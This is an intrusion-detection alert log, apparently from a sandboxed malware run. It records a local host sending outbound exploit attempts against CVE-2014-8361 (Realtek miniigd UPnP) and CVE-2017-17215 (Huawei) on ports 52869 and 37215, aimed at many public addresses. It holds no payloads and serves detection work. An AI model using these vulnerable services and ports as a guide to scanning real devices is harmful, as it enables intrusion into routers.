2024-07-20T23:01:20.301694+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42216	52869	192.168.2.23	64.43.73.86
2024-07-20T23:01:20.368453+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49258	52869	192.168.2.23	190.34.49.149
2024-07-20T23:01:20.249177+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52264	52869	192.168.2.23	37.205.238.167
2024-07-20T23:01:00.658630+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57218	37215	192.168.2.23	197.71.69.91
2024-07-20T23:01:09.107954+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59924	52869	192.168.2.23	104.178.230.186
2024-07-20T23:01:22.216856+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35090	52869	192.168.2.23	99.2.133.89
2024-07-20T23:01:00.658630+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37642	37215	192.168.2.23	157.54.130.2
2024-07-20T23:01:18.269553+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53130	37215	192.168.2.23	157.110.226.143
2024-07-20T23:01:00.652845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53540	37215	192.168.2.23	197.36.116.167
2024-07-20T23:01:00.652845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35956	37215	192.168.2.23	41.48.165.8
2024-07-20T23:01:19.428185+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47302	52869	192.168.2.23	117.49.51.0
2024-07-20T23:01:19.637159+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48726	52869	192.168.2.23	142.90.33.83
2024-07-20T23:00:59.181164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56512	37215	192.168.2.23	197.137.254.119
2024-07-20T23:01:00.654988+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45072	37215	192.168.2.23	157.230.177.125
2024-07-20T23:01:21.198842+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55384	37215	192.168.2.23	157.243.7.84
2024-07-20T23:01:21.221137+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37000	52869	192.168.2.23	77.76.243.3
2024-07-20T23:01:18.424063+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47604	37215	192.168.2.23	197.178.33.225
2024-07-20T23:01:20.367117+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34796	52869	192.168.2.23	171.201.20.41
2024-07-20T23:01:02.079114+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33230	37215	192.168.2.23	41.199.182.217
2024-07-20T23:01:19.831896+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34016	52869	192.168.2.23	25.68.235.59
2024-07-20T23:01:13.014947+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52536	52869	192.168.2.23	223.86.47.43
2024-07-20T23:00:59.171003+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48482	37215	192.168.2.23	197.160.117.109
2024-07-20T23:00:59.218459+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39976	37215	192.168.2.23	41.33.245.21
2024-07-20T23:01:18.422394+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39456	37215	192.168.2.23	57.35.73.126
2024-07-20T23:01:21.967477+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42512	37215	192.168.2.23	157.251.195.250
2024-07-20T23:01:22.232607+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33400	52869	192.168.2.23	111.160.194.136
2024-07-20T23:01:08.957638+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47288	52869	192.168.2.23	84.150.128.0
2024-07-20T23:01:19.462356+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48042	52869	192.168.2.23	54.250.134.170
2024-07-20T23:01:02.088423+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43708	37215	192.168.2.23	157.159.217.211
2024-07-20T23:00:59.219743+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33424	37215	192.168.2.23	157.77.208.129
2024-07-20T23:01:21.812527+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59006	52869	192.168.2.23	147.69.83.159
2024-07-20T23:01:18.204287+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48860	37215	192.168.2.23	157.115.56.95
2024-07-20T23:01:00.660317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42956	37215	192.168.2.23	41.12.12.126
2024-07-20T23:01:11.815719+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42374	37215	192.168.2.23	106.4.213.108
2024-07-20T23:01:08.903232+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54976	52869	192.168.2.23	164.189.55.135
2024-07-20T23:00:59.224296+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33444	37215	192.168.2.23	197.168.86.78
2024-07-20T23:01:00.654559+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47982	37215	192.168.2.23	197.103.118.184
2024-07-20T23:01:20.267455+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59822	52869	192.168.2.23	193.135.58.157
2024-07-20T23:01:02.065822+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45764	37215	192.168.2.23	197.235.104.194
2024-07-20T23:01:02.067656+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47744	37215	192.168.2.23	41.16.105.104
2024-07-20T23:01:19.858909+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38982	52869	192.168.2.23	216.174.225.184
2024-07-20T23:01:00.660317+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60910	37215	192.168.2.23	197.118.146.83
2024-07-20T23:01:21.822539+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49808	52869	192.168.2.23	107.208.110.238
2024-07-20T23:01:09.002255+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38116	52869	192.168.2.23	9.91.73.111
2024-07-20T23:01:21.124881+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59050	52869	192.168.2.23	4.72.134.93
2024-07-20T23:01:18.405549+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53302	37215	192.168.2.23	157.143.196.120
2024-07-20T23:01:23.420472+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35948	52869	192.168.2.23	27.130.132.139
2024-07-20T23:01:18.422394+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44458	37215	192.168.2.23	157.170.128.9
2024-07-20T23:01:19.876924+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50834	52869	192.168.2.23	194.63.61.192
2024-07-20T23:01:19.341430+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49348	52869	192.168.2.23	131.199.217.59
2024-07-20T23:01:21.567284+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34988	52869	192.168.2.23	172.97.184.195
2024-07-20T23:01:19.859313+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55998	52869	192.168.2.23	44.70.248.184
2024-07-20T23:01:21.272933+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55066	52869	192.168.2.23	162.117.132.232
2024-07-20T23:01:22.258326+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33984	37215	192.168.2.23	41.137.58.228
2024-07-20T23:01:21.271803+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36072	52869	192.168.2.23	2.10.234.63
2024-07-20T23:01:22.249100+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45276	52869	192.168.2.23	130.190.148.15
2024-07-20T23:00:59.223718+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56072	37215	192.168.2.23	169.239.10.111
2024-07-20T23:01:18.493759+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51880	37215	192.168.2.23	132.70.95.60
2024-07-20T23:01:21.056479+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33450	52869	192.168.2.23	104.55.221.40
2024-07-20T23:00:59.223718+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37906	37215	192.168.2.23	41.53.184.177
2024-07-20T23:00:59.227759+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42692	37215	192.168.2.23	197.241.179.191
2024-07-20T23:01:18.247235+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56886	37215	192.168.2.23	17.113.7.103
2024-07-20T23:01:21.202997+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51864	37215	192.168.2.23	41.229.84.234
2024-07-20T23:01:20.235362+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44404	52869	192.168.2.23	4.131.130.12
2024-07-20T23:01:21.152484+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52936	52869	192.168.2.23	86.74.227.91
2024-07-20T23:01:00.649623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58024	37215	192.168.2.23	163.95.87.60
2024-07-20T23:01:19.901007+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53882	52869	192.168.2.23	136.74.174.143
2024-07-20T23:00:59.164966+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50026	37215	192.168.2.23	197.213.172.133
2024-07-20T23:01:02.135090+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37616	52869	192.168.2.23	137.195.128.162
2024-07-20T23:01:21.286674+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60246	52869	192.168.2.23	40.55.203.85
2024-07-20T23:01:25.181612+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47014	37215	192.168.2.23	169.56.210.25
2024-07-20T23:01:14.013456+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34426	37215	192.168.2.23	197.175.44.160
2024-07-20T23:01:21.827430+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54854	52869	192.168.2.23	164.236.243.93
2024-07-20T23:01:08.903232+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51704	52869	192.168.2.23	131.199.217.59
2024-07-20T23:01:02.127340+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45384	37215	192.168.2.23	41.95.186.20
2024-07-20T23:01:21.187021+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52722	52869	192.168.2.23	139.37.94.236
2024-07-20T23:00:59.201622+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53044	37215	192.168.2.23	157.8.46.59
2024-07-20T23:00:59.181164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43828	37215	192.168.2.23	195.225.222.112
2024-07-20T23:01:21.099180+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51752	52869	192.168.2.23	9.70.14.160
2024-07-20T23:01:06.518801+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48734	37215	192.168.2.23	41.174.115.244
2024-07-20T23:01:09.027075+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44806	52869	192.168.2.23	157.202.7.129
2024-07-20T23:01:19.924916+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56840	52869	192.168.2.23	42.114.143.158
2024-07-20T23:01:21.894210+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39610	52869	192.168.2.23	119.8.134.128
2024-07-20T23:01:00.658201+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50596	37215	192.168.2.23	41.212.198.90
2024-07-20T23:01:19.861361+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	35458	52869	192.168.2.23	126.16.187.60
2024-07-20T23:00:59.224296+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41502	37215	192.168.2.23	157.109.181.179
2024-07-20T23:00:59.224296+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44780	37215	192.168.2.23	219.159.165.91
2024-07-20T23:01:00.657714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36270	37215	192.168.2.23	41.50.145.107
2024-07-20T23:01:11.815702+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38990	37215	192.168.2.23	157.62.189.35
2024-07-20T23:01:19.845074+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41078	52869	192.168.2.23	173.195.200.196
2024-07-20T23:01:20.275632+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52638	52869	192.168.2.23	123.42.160.177
2024-07-20T23:00:59.203029+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43118	37215	192.168.2.23	197.65.44.128
2024-07-20T23:00:59.170219+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43252	37215	192.168.2.23	72.152.128.124
2024-07-20T23:01:00.649623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47368	37215	192.168.2.23	197.224.26.246
2024-07-20T23:01:02.068476+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57456	37215	192.168.2.23	197.90.236.107
2024-07-20T23:01:23.911724+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46058	52869	192.168.2.23	211.69.194.148
2024-07-20T23:01:00.658298+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44098	37215	192.168.2.23	41.239.125.129
2024-07-20T23:00:59.180699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56186	37215	192.168.2.23	157.159.217.82
2024-07-20T23:01:09.140149+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59256	52869	192.168.2.23	42.114.143.158
2024-07-20T23:01:18.294174+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44052	37215	192.168.2.23	197.23.80.245
2024-07-20T23:01:09.195568+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46100	52869	192.168.2.23	209.154.77.145
2024-07-20T23:01:22.231631+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42842	52869	192.168.2.23	180.155.132.167
2024-07-20T23:01:21.231934+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43060	52869	192.168.2.23	223.83.213.222
2024-07-20T23:01:21.973875+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57512	52869	192.168.2.23	151.194.118.37
2024-07-20T23:01:21.020720+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53564	37215	192.168.2.23	157.72.248.222
2024-07-20T23:01:21.279590+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37696	52869	192.168.2.23	150.171.160.226
2024-07-20T23:00:59.175742+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35634	37215	192.168.2.23	197.19.12.241
2024-07-20T23:01:18.295501+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47794	37215	192.168.2.23	41.166.85.150
2024-07-20T23:01:21.181035+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58556	37215	192.168.2.23	197.75.123.93
2024-07-20T23:01:00.658298+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38304	37215	192.168.2.23	197.92.201.180
2024-07-20T23:01:22.247638+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39008	52869	192.168.2.23	159.70.111.204
2024-07-20T23:01:00.652845+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57110	37215	192.168.2.23	41.126.189.157
2024-07-20T23:01:00.657714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59334	37215	192.168.2.23	97.43.136.85
2024-07-20T23:01:02.067655+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55246	37215	192.168.2.23	37.246.135.67
2024-07-20T23:00:59.211994+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36396	37215	192.168.2.23	81.147.177.5
2024-07-20T23:01:18.296946+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55530	37215	192.168.2.23	157.37.107.134
2024-07-20T23:00:59.219743+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46650	37215	192.168.2.23	110.243.142.209
2024-07-20T23:00:59.227759+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46618	37215	192.168.2.23	118.76.56.217
2024-07-20T23:01:19.496217+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56974	52869	192.168.2.23	153.15.211.214
2024-07-20T23:01:21.011580+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45810	52869	192.168.2.23	129.194.41.40
2024-07-20T23:01:18.608485+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49446	37215	192.168.2.23	199.229.94.109
2024-07-20T23:01:20.191460+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59250	52869	192.168.2.23	115.35.215.139
2024-07-20T23:00:59.216912+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56980	37215	192.168.2.23	41.75.227.101
2024-07-20T23:01:00.661486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46116	37215	192.168.2.23	157.170.103.64
2024-07-20T23:00:59.211994+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56934	37215	192.168.2.23	157.223.197.130
2024-07-20T23:00:59.224296+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40842	37215	192.168.2.23	41.241.135.76
2024-07-20T23:01:18.423367+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43680	37215	192.168.2.23	157.254.68.190
2024-07-20T23:01:19.826663+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51590	52869	192.168.2.23	63.150.57.125
2024-07-20T23:00:59.201622+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34654	37215	192.168.2.23	197.241.127.58
2024-07-20T23:01:18.278953+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46136	37215	192.168.2.23	197.12.204.52
2024-07-20T23:01:19.439299+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34398	52869	192.168.2.23	27.254.228.216
2024-07-20T23:01:21.014789+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57522	52869	192.168.2.23	104.178.230.186
2024-07-20T23:01:02.066021+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48170	37215	192.168.2.23	43.99.159.58
2024-07-20T23:00:59.218459+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48742	37215	192.168.2.23	197.251.31.217
2024-07-20T23:00:59.218458+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55528	37215	192.168.2.23	210.132.156.163
2024-07-20T23:01:18.159021+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36734	37215	192.168.2.23	157.189.55.135
2024-07-20T23:00:59.163619+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53610	37215	192.168.2.23	41.178.183.186
2024-07-20T23:00:59.176163+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37060	37215	192.168.2.23	157.30.105.107
2024-07-20T23:01:02.127340+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36284	37215	192.168.2.23	104.38.28.110
2024-07-20T23:01:21.171996+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	53918	52869	192.168.2.23	148.211.13.100
2024-07-20T23:01:18.544436+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40802	37215	192.168.2.23	41.157.99.54
2024-07-20T23:01:21.226483+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59562	37215	192.168.2.23	197.67.79.4
2024-07-20T23:01:21.277827+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36626	37215	192.168.2.23	217.159.91.139
2024-07-20T23:01:02.119631+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41692	37215	192.168.2.23	155.230.89.206
2024-07-20T23:01:04.993704+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44076	52869	192.168.2.23	27.181.35.71
2024-07-20T23:01:20.370706+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45716	52869	192.168.2.23	130.136.141.197
2024-07-20T23:01:19.529461+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	36142	52869	192.168.2.23	160.189.204.148
2024-07-20T23:01:00.661808+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56996	37215	192.168.2.23	41.39.168.222
2024-07-20T23:01:19.479146+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40144	52869	192.168.2.23	47.237.197.200
2024-07-20T23:01:19.482947+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54976	52869	192.168.2.23	151.5.114.8
2024-07-20T23:01:21.603420+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52276	52869	192.168.2.23	91.233.41.28
2024-07-20T23:01:19.921226+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33518	52869	192.168.2.23	27.130.132.139
2024-07-20T23:01:19.814981+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	41562	52869	192.168.2.23	157.99.82.194
2024-07-20T23:00:59.180699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50560	37215	192.168.2.23	157.213.175.190
2024-07-20T23:01:18.282646+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34536	37215	192.168.2.23	197.76.203.13
2024-07-20T23:01:18.423367+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53842	37215	192.168.2.23	197.55.83.122
2024-07-20T23:00:59.164966+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47490	37215	192.168.2.23	157.211.128.165
2024-07-20T23:01:22.199072+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58646	52869	192.168.2.23	70.148.71.209
2024-07-20T23:01:22.821969+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57128	37215	192.168.2.23	41.119.255.118
